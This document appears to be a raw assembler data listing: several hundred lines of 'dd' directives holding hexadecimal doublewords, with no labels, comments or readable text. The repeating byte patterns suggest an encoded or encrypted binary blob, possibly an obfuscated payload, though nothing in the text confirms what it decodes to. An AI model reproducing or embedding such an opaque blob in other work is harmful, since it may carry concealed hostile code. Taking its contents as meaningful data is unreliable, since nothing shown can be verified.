dd 3F8C8D1Dh, 8C91C6B0h, 9CA7C9F4h, 59D1748Ch, 3DC56363h
dd 8C8D1DE8h, 0F4892393h, 9D8C8D1Dh, 99741F4Ch, 0B3E944A5h
dd 9CAE1074h, 0E5F2749Ch, 2E749C9Ch, 749C9CDFh, 63632620h
dd 9CDE9774h, 1188779Ch, 63CC78D9h, 8DC09C89h, 78D9118Ch
dd 848963CCh, 3D8C9D9Ch, 8C8D1C4Ch, 1EB0999Fh, 741F8C8Dh
dd 43DCC99h, 938C8D1Ch, 1D8C8923h, 4C9D8C8Dh, 0CC9F741Fh
dd 0BC992393h, 9F8C8D1Dh, 8D1C4099h, 96741F8Ch, 78D911CCh
dd 0D48963CCh, 958C95AAh, 0C330E95Ch, 5E55C7C2h, 15C99C98h
dd 90701F79h, 0E917CBCAh, 94D91790h, 6A6B4EADh, 88A12393h
dd 9F8C8D1Eh, 8D1DA0A1h, 90731F8Ch, 99E966A5h, 7794D917h
dd 94D91786h, 6A6B4EADh, 1564D915h, 157A6B5Bh, 5B1568D9h
dd 0E1156B9Dh, 0C3641560h, 0C95F55C2h, 0CBCA7915h, 1794E117h
dd 6C1590E9h, 158CD9BFh, 0BF4E6B6Eh, 4C9588C9h, 9FBCD99Fh
dd 649D84D9h, 0E9635B15h, 2974CB80h, 1F9C9CABh, 6B159458h
dd 64155B9Dh, 5FC1C2C3h, 0CF7915C9h, 0E117CBCAh, 8CE91790h
dd 8DEDDCF4h, 8963CB8Ch, 8C91C6A0h, 0BCE95C95h, 8D06B8F4h
dd 8963CB8Ch, 8C91C6A0h, 8CE95C95h, 8D0578F4h, 8963CB8Ch
dd 8C91C6A0h, 8CE85C95h, 1594D917h, 17AA639Ah, 98CF6384h
dd 84775CADh, 8D1C403Dh, 8923938Ch, 8C8D1EB8h, 741F4C9Dh
dd 249A1595h, 1C9CDC9Eh, 0C1C7C2C3h, 249C905Eh, 1C9CDC9Dh
dd 0CB9C8C5Eh, 8D0EC0F4h, 5E56748Ch, 0CCC56363h, 0B9048963h
dd 83F8C9Dh, 3D8C8D1Eh, 8C8D1DE4h, 0A59F741Fh, 8D1E0899h
dd 0F48BE98Ch, 8C8D0ECDh, 635E3F74h, 63CCC563h, 99AF8489h
dd 1E083F8Ch, 83D8C8Dh, 0A58C8D1Eh, 8D1D3C99h, 0F481E88Ch
dd 8C8D0EA7h, 635EE374h, 63CCC563h, 8D1E08A9h, 3089638Ch
dd 3F8C9DBDh, 8C9DB928h, 15C95FC3h, 30701D79h, 0CF9C9C9Dh
dd 0E117CBCAh, 0F1195B94h, 8636362h, 119C9C9Ch, 6362F119h
dd 8963CC63h, 8C8DECB4h, 8D1C283Dh, 9F741F8Ch, 0C49B985Ah
dd 8D1E803Dh, 9B985A8Ch, 1ED83DA5h, 999F8C8Dh, 8C8D1DF0h
dd 9392741Fh, 1C3C8923h, 23938C8Dh, 8D1D5891h, 1F569D8Ch
dd 88149276h, 0E1211F9Bh, 9E636362h, 843DBDE9h, 1F8C8D1Dh
dd 985A9474h, 6C3DC89Bh, 938C8D1Dh, 1C2C8923h, 4C9D8C8Dh
dd 5A96741Fh, 0F4D29B98h, 8C8D0EB3h, 635D4B74h, 0E5296363h
dd 63636362h, 6362E929h, 0ED296363h, 0CC636362h, 639D0111h
dd 63CF6363h, 91C6B489h, 9D19118Ch, 0CC636363h, 0B08963CBh
dd 0F48C9C6Ch, 8C8D0EB4h, 635D0374h, 58811763h, 938C8D1Ch
dd 1EB88923h, 4F9D8C8Dh, 0CF97771Fh, 98812393h, 9F8C8D1Dh
dd 8D1D4881h, 92771F8Ch, 0FC0111CFh, 0CF636362h, 62FC0111h
dd 11CF6363h, 6362F801h, 63F4CF63h, 119C9C9Ch, 63639D01h
dd 63CCCF63h, 95C69889h, 0EBCF48Ch, 0D5748C8Dh, 6363635Dh
dd 6362F829h, 111CC63h, 6363639Dh, 0B48963CFh, 118C91C6h
dd 63639D19h, 63CBCC63h, 9C6CB089h, 9C63F48Ch, 19119C9Ch
dd 6363639Dh, 1D0C3DCCh, 741F8C8Dh, 9CF4CC9Fh, 639C9C98h
dd 9DB93489h, 9D19118Ch, 0CC636363h, 0B08963CBh, 0F48C9C6Ch
dd 8C8D0E87h, 635C7374h, 63CBCC63h, 9C6CB089h, 0F4195B8Ch
dd 63636362h, 0F49C9C9Ch, 8C8D0D72h, 635C4F74h, 0C4191563h
dd 0F4636362h, 8C8D0D7Dh, 635C5F74h, 0C0011163h, 0CF636362h
dd 62F40111h, 11CF6363h, 63639D01h, 17CCCF63h, 6362C401h
dd 9EF4CF63h, 741C9C9Ch, 9C9C8A15h, 15EC581Fh, 1C383D5Ah
dd 741F8C8Dh, 0E96CA594h, 9D19118Fh, 0CC636363h, 0B08963CBh
dd 1F8C9C6Ch, 0F7779458h, 62F4195Bh, 9C636363h, 2DF49C9Ch
dd 748C8D0Dh, 63635CF8h, 62C81915h, 38F46363h, 748C8D0Dh
dd 63635CC8h, 62C00111h, 11CF6363h, 6362F401h, 111CF63h
dd 6363639Dh, 117CCCFh, 636362C8h, 9C9EF4CFh, 86741C9Ch
dd 1F9C9C8Ah, 5A15BC58h, 8D1E803Dh, 5AA5DC8Ch, 19118DE9h
dd 6363639Dh, 8963CBCCh, 8C9C6CB0h, 0C394581Fh, 5F55C7C2h
dd 9CDC9D24h, 9C845E1Ch, 247915C9h, 9C9D9CACh, 9C104774h
dd 0CBCACF9Ch, 8D1DB83Dh, 38999F8Ch, 1F8C8D1Ch, 99A58E74h
dd 8C8D1E40h, 23938AE9h, 8D1D1499h, 995C1F8Ch, 0B94C99A5h
dd 1E938C9Dh, 9C9C9E1Fh, 637C1911h, 63CC6362h, 9C6CD489h
dd 4C19118Ch, 0CC636263h, 637C1911h, 0F6CC6362h, 99239395h
dd 8C8D1EDCh, 0E963CCD4h, 0B8896394h, 158C95AFh, 1ED83D5Bh
dd 741F8C8Dh, 935BA59Bh, 9C9EDE19h, 9923939Ch, 8C8D1EFCh
dd 1C20999Fh, 741F8C8Dh, 64191595h, 17636263h, 62637429h
dd 64191163h, 0CC636263h, 8D0638F4h, 8A17CA8Ch, 9C898863h
dd 159C9C9Ch, 9923935Bh, 8C8D1D1Ch, 0A59E741Fh, 6019935Bh
dd 119C9C9Dh, 62634019h, 1917CC63h, 63626364h, 638C17CCh
dd 5B15E4CEh, 8D1EC03Dh, 99741F8Ch, 199364A5h, 9C9C9D4Dh
dd 9C9D1911h, 63CC6363h, 62634029h, 0F6017463h, 581F9C9Ch
dd 40296394h, 63636263h, 8DECA889h, 9923938Ch, 8C8D1EB4h
dd 6199201Ch, 0E8636263h, 2393B3E9h, 8D1C4499h, 99201C8Ch
dd 63626364h, 3D82E9F4h, 8C8D1D64h, 6199201Ch, 0EC636263h
dd 983D93E9h, 1C8C8D1Eh, 63639920h, 0E8E86362h, 9DF77599h
dd 19119C9Ch, 6362636Ch, 641917CCh, 0CC636263h, 0CE638C17h
dd 3D5B15D4h, 8C8D1C38h, 1D10999Fh, 741F8C8Dh, 9364A595h
dd 9C9DDC19h, 6019119Ch, 0CC636263h, 8D06A8F4h, 6C19178Ch
dd 0CC636263h, 88638C17h, 9C9C9C89h, 3D5B159Ch, 8C8D1D10h
dd 0F4892393h, 9D8C8D1Dh, 98741F4Ch, 19935BA5h, 9C9C9C61h
dd 63681911h, 17CC6362h
dd 62636019h, 8C17CC63h, 9D2C0E63h, 5B159C9Ch, 8D1DA43Dh
dd 4C999F8Ch, 1F8C8D1Dh, 64A59A74h, 9C5F1993h, 19119C9Ch
dd 63626344h, 681917CCh, 0CC636263h, 0CE638C17h, 935B15ECh
dd 1DB09923h, 741F8C8Dh, 0E864A599h, 6819178Dh, 0CC636263h
dd 0CC639C17h, 9C137594h, 47AD9C9Ch, 63441917h, 19A56362h
dd 63626368h, 47AD9FE8h, 681917DFh, 0CC636263h, 0CC639C17h
dd 44191794h, 0CC636263h, 0CC639C17h, 48191194h, 0CC636263h
dd 63601917h, 17CC6362h, 0BCCE638Ch, 23935B15h, 8D1D9899h
dd 0C999F8Ch, 1F8C8D1Dh, 5BA59774h, 11CFA7E9h, 639C9D19h
dd 2963CC63h, 63626364h, 63482963h, 29636362h, 63626360h
dd 9CAF6874h, 88581F9Ch, 89E94795h, 63482963h, 29636362h
dd 63626360h, 6D8674CAh, 581F6363h, 60191790h, 0CC636263h
dd 0CC639C17h, 6C191794h, 0CC636263h, 0CC639C17h, 9A17CA94h
dd 0C394CC63h, 5F55C7C2h, 1C383DCBh, 999F8C8Dh, 8C8D1D0Ch
dd 3F92741Fh, 8C95C56Ch, 8D1D4C3Dh, 9F5B158Ch, 8D1E84A1h
dd 9F731F8Ch, 443D8C77h, 1F8C8D1Dh, 98149B74h, 99AD6CA1h
dd 0A43DDB8Ch, 998C8D1Eh, 9C9C9C6Ah, 7EEE5BA5h, 8D1E843Dh
dd 8923938Ch, 8C8D1C44h, 58912393h, 118C8D1Dh, 14CC96C8h
dd 0AD739988h, 6C3D8C99h, 178C95C5h, 8D1D7489h, 4C9DD68Ch
dd 1DCC8917h, 5E1D8C8Dh, 9C9C9C79h, 6C998814h, 3D8C99ADh
dd 8C95C56Ch, 1E988917h, 9FDE8C8Dh, 8D1C0C89h, 174C9D8Ch
dd 8D1ED889h, 0C65E1F8Ch, 6C998814h, 3D8C99ADh, 8C95C56Ch
dd 1DFC8917h, 5E1D8C8Dh, 9C9C9C7Fh, 6C998814h, 938C99ADh
dd 1D349923h, 23938C8Dh, 8D1DDC89h, 8CD8118Ch, 6C999D9Ah
dd 0C38C95C5h, 7915C95Fh, 9E90701Dh, 0CACF9C9Ch, 509374CBh
dd 89176363h, 8C8D1C5Ch, 0E95EA5D6h, 755CAD9Bh, 9C9C9E90h
dd 6160195Bh, 9C636363h, 19119C9Ch, 63636160h, 9D1911CCh
dd 0CC636363h, 0B93C8963h, 0A83D8C9Dh, 9F8C8D1Dh, 8D1EF099h
dd 1822938Ch, 63626D99h, 89239363h, 8C8D1C78h, 94E94CA5h
dd 75DC5CADh, 9C9C9D54h, 8D0D06F4h, 276E748Ch, 89176363h
dd 8C8D1DF8h, 11CCCEDEh, 63639D09h, 0EC74CE63h, 1F9C9CACh
dd 91178C58h, 8C8D1C5Ch, 63625D1Dh, 54A59C9Ch, 5CAD94E8h
dd 9D1275DCh, 12F49C9Ch, 748C8D0Dh, 63632724h, 1D6C8917h
dd 761F8C8Dh, 11CCCE94h, 63639D09h, 0A874CE63h, 1F9C9CACh
dd 91178C58h, 8C8D1D44h, 63645D1Dh, 5DA59C9Ch, 5CAD94E8h
dd 9DCE75DCh, 195B9C9Ch, 63636164h, 9C9C9C63h, 61641911h
dd 11CC6363h, 63629E19h, 8963CC63h, 8C9C6CDCh, 8D0D15F4h
dd 27C2748Ch, 11CC6363h, 63629E09h, 8963CE63h, 8C9C6CB0h
dd 8D1D243Dh, 9A741F8Ch, 9D1911CCh, 0CC636363h, 629E1911h
dd 74CC6363h, 9C9CB35Bh, 1784581Fh, 8D1DF089h, 6A5E1D8Ch
dd 0A59C9C63h, 0AD94E84Ch, 7975DC5Ch, 639C9C9Ch, 95C68089h
dd 0AD5A158Ch, 3D6B1547h, 8C8D1D7Ch, 9395741Fh, 939B982Ah
dd 1C6C8923h, 761F8C8Dh, 934CA59Fh, 9C9C3518h, 1F65159Ch
dd 1CDC6354h, 0E99C9DA0h, 68191565h, 0F4636361h, 8C8D0DE3h
dd 63264F74h, 98581F63h, 1DC4A963h, 0CBCC8C8Dh, 9CB3CA74h
dd 90581F9Ch, 23935E15h, 8D1DF491h, 9923938Ch, 8C8D1DC0h
dd 649D1011h, 0A59C9C63h, 279BE84Dh, 9C9C9C9Dh, 0F2F4C477h
dd 748C8D0Dh, 63632608h, 1EB0A963h, 0CBCC8C8Dh, 9CB38674h
dd 8C581F9Ch, 23935E15h, 8D1EB491h, 1D4C3D8Ch, 10118C8Dh
dd 9C636A9Dh, 0E856A59Ch, 0DF47AD99h, 1917BC77h, 63636168h
dd 1C688917h, 899F8C8Dh, 8C8D1E98h, 9D98761Fh, 9D5B1566h
dd 63A5754Bh, 63CA6363h, 95D6D889h, 0E847958Ch, 0DC5CAD99h
dd 5CAD9E77h, 55C7C2C3h, 0DC9D245Fh, 945E1C9Ch, 0C3F4CB9Ch
dd 748C8D0Dh, 63632680h, 8963CCC5h, 8C9DB904h, 8D1E383Fh
dd 1DA83D8Ch, 741F8C8Dh, 3899A594h, 0E98C8D1Eh, 0DCCF48Bh
dd 69748C8Dh, 0C5636325h, 848963CCh, 3F8C99AFh, 8C8D1E38h
dd 8D0DA4F4h, 2542748Ch, 0CCC56363h, 1E38A963h, 89638C8Dh
dd 8C9DBD30h, 9D93583Fh, 0C95FC38Ch, 701D7915h, 9C9C9C0Ch
dd 11CBCACFh, 8DC75C99h, 0E419158Ch, 93636363h, 1EB49923h
dd 23938C8Dh, 8D1D2089h, 9D5F158Ch, 97771F4Fh, 89179377h
dd 8C8D1C28h, 0FA98761Fh, 5CC1C815h, 992393DFh, 8C8D1DDCh
dd 0B4892393h, 118C8D1Eh, 0A5898CD8h, 9347EE5Fh, 1E8C9923h
dd 5A158C8Dh, 1D60A99Fh, 721F8C8Dh, 158D779Fh, 177E4D6Eh
dd 17FA90D1h, 15FAED90h, 0DA1C89D0h, 8D1D783Dh, 885C1F8Ch
dd 1D2C999Fh, 5AA58C8Dh, 239341EEh, 8D1E8C99h, 9F741F8Ch
dd 63E01915h, 29636363h, 636363E0h, 7494E963h, 9C9CE3C9h
dd 1594581Fh, 6363E819h, 1D883D63h, 0A5D48C8Dh, 6363E819h
dd 11A7E963h, 11CC1CD9h, 74CC5CD9h, 9C9CEFADh, 63EC1915h
dd 29636363h, 636363E4h, 0CC5CD911h, 6329E074h, 8C581F63h
dd 8EE85C95h, 63E42963h, 0D9116363h, 0F274CC5Ch, 1F9C9C18h
dd 19639458h, 636363E0h, 8D1D843Dh, 8B5C1F8Ch, 8892393h
dd 1F8C8D1Ch, 3393915Eh, 0E019A55Eh, 0EF636363h, 1CD911DCh
dd 0BAA074CCh, 19159C9Ch, 636363ECh, 63E42963h, 0D9116363h
dd 0BE74CC1Ch, 1F636329h, 5C959058h, 63C81893h, 29636363h
dd 636363E4h, 0CC1CD911h, 9C188C74h, 94581F9Ch, 6363A175h
dd 0A1239363h, 8C8D1EDCh, 158D77D3h, 177E4D66h, 17FA94D1h
dd 0FA5C89C8h, 0DBE58815h, 8D1ED03Dh, 8F5C1F8Ch, 0C8892393h
dd 9D8C8D1Eh, 0EE5BA54Ch, 0C7C2C346h, 15C95F55h, 0CBCFCD79h
dd 94D92A93h, 9C9C9625h, 5051269Ch, 7E6B5050h, 159F765Dh
dd 4B1560C9h, 15FD5B1Fh, 94C11467h, 0A094D916h, 0A084E8F5h
dd 0A088E8F9h, 0A08CE8E9h, 0A090E8E5h, 0A094E8FDh, 0A098E8F3h
dd 1C98E9F6h, 939D94D9h, 0C394D92Ah, 0C95F55C7h, 63CB7915h
dd 0A96394E9h, 8C8D1E1Ch, 0BD308963h, 5B158C9Dh, 0C95FC1C3h
dd 701D7915h, 9C9C9DA0h, 11CBCACFh, 9CC80D99h, 70D9158Ch
dd 0C80D8911h, 91178C9Ch, 8C8D1E98h, 15915D1Fh, 17744F4Ch
dd 8D1DE089h, 965E1F8Ch, 0DC912393h, 9D8C8D1Eh, 154D1556h
dd 157F4F5Fh, 441574C1h, 0D1A41DFAh, 3D88E8C6h, 8C8D1C48h
dd 9C636D99h, 0F0999F9Ch, 0B58C8D1Eh, 3D7C775Fh, 8C8D1D88h
dd 9FA95C1Fh, 8D1EAC99h, 9D5A158Ch, 9D9A1742h, 6CD91544h
dd 0A570D117h, 9385EA54h, 1DC09923h, 23938C8Dh, 8D1EB889h
dd 8C18118Ch, 9C9C6367h, 3B775FB5h, 156CD917h, 2B9364D9h
dd 0D9CCA19Ch, 92E89C9Ch, 8D1D283Dh, 6363998Ch, 5FB59C9Ch
dd 0D9171577h, 1C1C1764h, 159C9C9Ch, 0A03D68D9h, 9F8C8D1Dh
dd 8D1DB499h, 8C741F8Ch, 7560D915h, 9C9C9DEAh, 9D60D917h
dd 68D99F44h, 624C1915h, 23936363h, 8D1DB099h, 99741F8Ch
dd 624C0917h, 9EA76363h, 9DFE1893h, 19179C9Ch, 6363624Ch
dd 9D90DC17h, 50191544h, 0CC636362h, 62491911h, 74CC6363h
dd 9C9C1F24h, 0EC992393h, 938C8D1Dh, 1DF48923h, 4C9D8C8Dh
dd 1599741Fh, 0BE7744D9h, 1644D917h, 62499918h, 0E6A06363h
dd 0FDA08DE1h, 0D91791E2h, 99181144h, 63636249h, 63BCB41Ch
dd 0D91744D9h, 18229344h, 63624999h, 0AC891763h, 1F8C8D1Eh
dd 4CA59976h, 603D5AE9h, 9F8C8D1Dh, 8D1D6C99h, 99201C8Ch
dd 6363624Dh, 5F1993D0h
dd 3D9C9C9Ch, 8C8D1C24h, 5299201Ch, 0D9636362h, 9C2C1993h
dd 89179C9Ch, 8C8D1C40h, 4C89201Ch, 0CE636362h, 9C001993h
dd 89179C9Ch, 8C8D1E98h, 4489201Ch, 0AF636362h, 9C141993h
dd 89179C9Ch, 8C8D1C60h, 4F89201Ch, 0D7636362h, 999FE4E9h
dd 8C8D1EACh, 5399201Ch, 0AE636362h, 1917F4E9h, 6363624Ch
dd 0CC9F4615h, 5809158Ch, 3D636362h, 8C8D1C48h, 159B741Fh
dd 63625419h, 54191763h, 15636362h, 58299F5Ah, 17636362h
dd 992393A2h, 8C8D1D30h, 54892393h, 9D8C8D1Dh, 91741F4Ch
dd 0A4E864A5h, 0C8EC74CBh, 1FC59C9Ch, 8D1EE0A1h, 0B4E99C8Ch
dd 8D1DD43Dh, 9F741F8Ch, 6254199Dh, 25776363h, 0D91F8A77h
dd 0D9178860h, 181C1764h, 0A59C9C9Ch, 1E9360D9h, 636362E4h
dd 0DC992393h, 1F8C8D1Dh, 99A59974h, 8C8D1EE0h, 9374FCE8h
dd 749C9CB0h, 9C9CEB8Fh, 9C989274h, 145E159Ch, 23937BC9h
dd 8D1DF499h, 9E741F8Ch, 7BC92A93h, 0A6E84CA5h, 0CC7CD911h
dd 8D1C283Dh, 0FC999F8Ch, 1F8C8D1Dh, 11CC9574h, 0F4CC40D9h
dd 8C9CC80Dh, 8D1D6C3Dh, 95741F8Ch, 1ECC3DCCh, 999F8C8Dh
dd 8C8D1D24h, 0CC95741Fh, 0ECBC8963h, 0C2C38C8Dh, 0C95F55C7h
dd 0CCCD7915h, 63CBCACFh, 896394E9h, 8C99AF84h, 583D5F15h
dd 938C8D1Ch, 1C448923h, 4C9D8C8Dh, 0A58E741Fh, 0F618935Fh
dd 0F49C9C9Dh, 8C8D0DAFh, 63282374h, 63CFCC63h, 9DBD3089h
dd 9C983F8Ch, 0B2F48C9Dh, 748C8D0Dh, 63632834h, 0CC94581Fh
dd 308963CFh, 3F8C9DBDh, 8C9C6C94h, 0C8992393h, 1F8C8D1Eh
dd 99A79474h, 8C9D9C98h, 9DBF1893h, 23939C9Ch, 8D1D8C99h
dd 8923938Ch, 8C8D1DF4h, 741F4C9Dh, 9499A799h, 938C9C6Ch
dd 9C9D9818h, 0DCA9639Ch, 638C95D6h, 9D9350A9h, 0C0A9638Ch
dd 638C8DC6h, 9DBD30A9h, 0E0A9638Ch, 118C8D1Eh, 11CC64D9h
dd 63CC60D9h, 9D9C9889h, 935B158Ch, 1EFC9923h, 64A58C8Dh
dd 63CF90EFh, 8DF08089h, 9C23758Ch, 23939C9Ch, 8D1DC099h
dd 1F5A158Ch, 0A117605Ah, 8C8D1DE0h, 7799731Fh, 218817B1h
dd 8C99AFBCh, 0E964C9A5h, 176215BCh, 88A560C9h, 95C6BC21h
dd 0CF8EEE8Ch, 0F0808963h, 0E9638C8Dh, 90896394h, 778C9C6Ch
dd 0A1A7DBE0h, 8C8D1E20h, 383D57EEh, 1F8C8D1Ch, 999F735Ch
dd 8C8D1DB4h, 0B1E85AA5h, 0CC29A863h, 638C91C6h, 8DF08089h
dd 94A1178Ch, 158C9C6Ch, 0B57C29A0h, 0E1178C9Dh, 29A01560h
dd 8C95C6BCh, 0CC298015h, 778C91C6h, 20A117A8h, 178C8D1Eh
dd 881560C9h, 95C6BC21h, 64C9178Ch, 0BC218815h, 158C99AFh
dd 0C6CC2180h, 81178C91h, 8C9C6C94h, 7C218015h, 638C9DB5h
dd 8D1E2099h, 0C7C2C38Ch, 15C95F55h, 0E963CB79h, 0E0A96394h
dd 638C8D1Eh, 9DBD3089h, 0C35B158Ch, 15C95FC1h, 98701D79h
dd 0CA9C9C9Dh, 992393CBh, 8C8D1C08h, 0CC9F741Fh, 1D3CA963h
dd 9FF68C8Dh, 1DF8A963h, 0C43D8C8Dh, 9F8C8D1Dh, 8D1D0C99h
dd 9B741F8Ch, 9C9CF4CCh, 0ACF41C9Ch, 638C95AFh, 8DF08489h
dd 3D5B158Ch, 8C8D1D64h, 9F685C1Fh, 8D1DCC99h, 0E964A58Ch
dd 9CB6249Bh, 0C3779C9Ch, 8D1DE83Dh, 11CCD48Ch, 63626019h
dd 63F4CC63h, 119C9C9Ch, 63639D19h, 63CBCC63h, 9C6CA889h
dd 0CB5A158Ch, 0D6D48963h, 0E03D8C95h, 1F8C8D1Dh, 5AA59974h
dd 0B6249BE9h, 779C9C9Ch, 192A93BEh, 6363639Dh, 1C048917h
dd 5E1F8C8Dh, 0E14CA583h, 9CB6249Bh, 9B779C9Ch, 9D192A93h
dd 0C3636363h, 0C95F55C2h, 701F7915h, 0CBCACFB0h, 0FA84D917h
dd 3D84D915h, 8C8D1C7Ch, 9C9C5E99h, 8923939Ch, 8C8D1D20h
dd 0D9A54C9Dh, 90199390h, 0FA9C9C9Dh, 9F74D95Bh, 6CD9119Ch
dd 1F9C3DCCh, 17CC8C8Dh, 80CB63A4h, 3D60D915h, 8C8D1C58h
dd 1D00999Fh, 741F8C8Dh, 60D9A58Ch, 9C451993h, 0D1639C9Ch
dd 78D9116Ch, 74E911CCh, 158C701Fh, 9C98257Bh, 396F9C9Ch
dd 1F9CA117h, 17CB8C8Dh, 0BCCB63A3h, 3D60D915h, 8C8D1EC0h
dd 0A799741Fh, 199360D9h, 9C9C9C3Fh, 0CC7CD911h, 8D0638F4h
dd 78D9178Ch, 63A417CCh, 9C9CA188h, 0D9159C9Ch, 99239360h
dd 8C8D1C30h, 1D2C999Fh, 741F8C8Dh, 60D9A592h, 9911F0E9h
dd 8C8D1E60h, 0CC64D915h, 0CF638417h, 40D91198h, 568F4CCh
dd 0D9178C8Dh, 0A417CC64h, 9CA18863h, 159C9C9Ch, 239360D9h
dd 8D1D3099h, 9A741F8Ch, 0E960D9A5h, 48D911BFh, 568F4CCh
dd 0E9638C8Dh, 7CE96340h, 6355D774h, 8C581F63h, 1744D915h
dd 17CC40D9h, 94CF6384h, 0CC64D917h, 0CF638417h, 7CD91794h
dd 638417CCh, 0D91794CFh, 8417CC78h, 0AD94CF63h, 2499775Ch
dd 1C9E9C9Fh, 55C7C2C3h, 0C99CB85Eh, 701D7915h, 9C9C9D94h
dd 403DCBCAh, 158C8D1Dh, 0A0A19F5Bh, 1F8C8D1Dh, 0ED779573h
dd 8D0DBEF4h, 2D8A748Ch, 19156363h, 63636264h, 8D0D84F4h
dd 2D9A748Ch, 0CCCB6363h, 62642917h, 11CA6363h, 63639D29h
dd 8963CA63h, 8C91C6B4h, 1184581Fh, 63639D19h, 9CF6CC63h
dd 8C9C9CF4h, 0A489639Ch, 158C95D6h, 63626019h, 0E85C9563h
dd 8963CC83h, 8C95D6D4h, 8D1EC43Dh, 945C1F8Ch, 99E964A5h
dd 77DC5CADh, 9C9E24BFh, 80779C9Ch, 992393DBh, 8C8D1D54h
dd 1C288917h, 0D8118C8Dh, 5BA5C58Ch, 63EA1E93h, 5CAD6363h
dd 5F55C2C3h, 1D7915C9h, 9C9D9870h, 1911CB9Ch, 63636260h
dd 1C683DCCh, 741F8C8Dh, 2393CC9Eh, 8D1D5499h, 8923938Ch
dd 8C8D1D08h, 741F4C9Dh, 0E963CC92h, 3CA96394h, 638C8D1Dh
dd 99B69C89h, 3D5B158Ch, 8C8D1D18h, 1DC8999Fh, 741F8C8Dh
dd 0E964A593h, 0D8FF4B7h, 0A9748C8Dh, 0CC63632Ch, 62602111h
dd 63CB6363h, 9C6CB089h, 0F69DF68Ch, 601911DFh, 0CC636362h
dd 9CE59C74h, 84581F9Ch, 0C95F55C3h, 0CFCD7915h, 0E117CBCAh
dd 90C11794h, 1788E917h, 649D84D9h, 15BCD99Fh, 461560D9h
dd 0D1176EBDh, 6B6C158Ch, 155DBD4Ch, 1754954Ch, 4B1560C9h
dd 0E9635B9Dh, 0A974CB80h, 1F9C9CB8h, 5B159458h, 6415439Dh
dd 55C7C2C3h, 7915C95Fh, 0CFD8701Fh, 0EA74CBCAh, 17636323h
dd 8D1DE881h, 5C819F8Ch, 0D78C8D1Dh, 8BE944A5h, 8992393h
dd 158C8D1Dh, 7CA19F5Bh, 1F8C8D1Dh, 0BC759373h, 639C9C9Eh
dd 99B56889h, 5CD9158Ch, 992393CCh, 8C8D1C78h, 1D84999Fh
dd 741F8C8Dh, 63F4CC95h, 639C8393h, 8DECB089h, 115A158Ch
dd 0F6CC60D9h, 8963CAB4h, 8C9DBC1Ch, 23935B15h, 8D1C4499h
dd 999F8Ch, 1F8C8D1Dh, 5BA58C74h, 9D4D1893h, 81179C9Ch
dd 8C8D1D40h, 1D188917h, 761F8C8Dh, 1C81594h, 20D9113Ch
dd 11B4F6CCh, 3DCC58D9h, 8C8D1DE0h, 9F9B5C1Fh, 8D1DF099h
dd 0E963CC8Ch, 8C896360h, 158C95C6h, 1D883D5Bh, 999F8C8Dh
dd 8C8D1C48h, 0A595741Fh, 0C7E894D9h, 8D1C643Dh, 98741F8Ch
dd 89E95BA5h, 8D1C743Dh, 9F5B158Ch, 8D1C48A1h, 91731F8Ch
dd 9C9DFA75h, 0D0A1179Ch, 1F8C8D1Dh, 81179973h, 8C8D1C68h
dd 50892393h, 9D8C8D1Dh, 8923934Fh, 8C8D1DC0h, 0A59F761Fh
dd 933801C8h, 9C9DA618h, 0D4A1179Ch, 1F8C8D1Eh, 0B0759873h
dd 3D9C9C9Dh, 8C8D1D00h, 1EEC999Fh, 741F8C8Dh, 2899A590h
dd 0E98C8D1Eh, 1D643D84h, 65998C8Dh, 0CC9C9CA3h, 8963DCF6h
dd 8C99B570h, 8D1E283Fh, 20D9118Ch, 1D683DCCh, 67998C8Dh
dd 0CC9C9CA3h, 1E28A963h, 9DF68C8Dh, 6360E963h, 95C68C89h
dd 9923938Ch, 8C8D1C6Ch
dd 0A59F741Fh, 8D1E2C99h, 0F693E98Ch, 639CF688h, 99B57089h
dd 1E2C3F8Ch, 9DF68C8Dh, 1E2CA963h, 89638C8Dh, 8C9D9C94h
dd 9CF65B15h, 8D1EC43Dh, 0F6CCD48Ch, 2CA9639Dh, 638C8D1Eh
dd 99AD7889h, 0F65B158Ch, 1E283D9Ch, 0AC638C8Dh, 1E2CA963h
dd 89638C8Dh, 8C99B574h, 6BF45B15h, 748C8D0Ch, 63633178h
dd 6CC111C5h, 2393CCCFh, 8D1DB081h, 99771F8Ch, 0BC8963CFh
dd 158C9C6Ch, 1C683D5Bh, 999F8C8Dh, 8C8D1C24h, 1595741Fh
dd 0CC3D70D9h, 1F8C8D1Eh, 5BA59E74h, 0D95BA1E8h, 9C9C9E64h
dd 9923939Ch, 8C8D1DB0h, 0CC99741Fh, 6C992393h, 938C8D1Ch
dd 1EFC8923h, 4C9D8C8Dh, 0CC90741Fh, 1D5CA963h, 0D9118C8Dh
dd 9CF6CC70h, 6360E963h, 95D58089h, 0CA5B158Ch, 0D6D48963h
dd 0E9638C95h, 0D4896360h, 158C95D6h, 0C7C2C364h, 15C95F55h
dd 0F0701D79h, 0CF9C9C9Eh, 47ADCBCAh, 0C73F4DFh, 0DD748C8Dh
dd 63636331h, 11CC94E9h, 63612221h, 8963CB63h, 8C91C6B4h
dd 118C581Fh, 63625E19h, 1911CC63h, 63636122h, 0B48963CCh
dd 158C95AFh, 63612419h, 99239363h, 8C8D1DDCh, 1C7C8917h
dd 0D8118C8Dh, 19A5658Ch, 63636124h, 9C631993h, 0D9119C9Ch
dd 0D911CCBCh, 8963CC8Ch, 8C8DF08Ch, 613C1915h, 0F03D6363h
dd 1F8C8D1Dh, 19A59574h, 6363613Ch, 211191E2h, 63636104h
dd 39BCE911h, 11977739h, 63610421h, 8CE91163h, 19113939h
dd 63636134h, 41911CCh, 0CC636361h, 0C7E48963h, 2B938C8Dh
dd 63613219h, 0A8891763h, 1D8C8D1Dh, 9C990D5Eh, 9123939Ch
dd 8C8D1C3Ch, 3393569Dh, 92B935Eh, 63636136h, 1D6C9117h
dd 5D1D8C8Dh, 9C9C342Eh, 1DE0919Fh, 33938C8Dh, 934C9D4Dh
dd 612E092Bh, 4C9D6363h, 34092B93h, 17636361h, 8D1C4091h
dd 655D1D8Ch, 939C9B74h, 4C9D4D33h, 2C092B93h, 17636361h
dd 8D1E8491h, 0A75D1F8Ch, 9D4D3393h, 3819154Ch, 17636361h
dd 9C6CAC89h, 934CA58Ch, 9C9D8E1Bh, 3D5EB59Ch, 8C8D1C74h
dd 9C8C4599h, 935EA59Ch, 9C9C621Ah, 94E9639Ch, 6C908963h
dd 19158C9Ch, 63636108h, 9C9C7675h, 1D003D9Ch, 201C8C8Dh
dd 63627B99h, 1893B263h, 9C9C9C53h, 8D0C7AF4h, 3746748Ch
dd 21116363h, 63636272h, 94E963CBh, 222111CCh, 0CB636361h
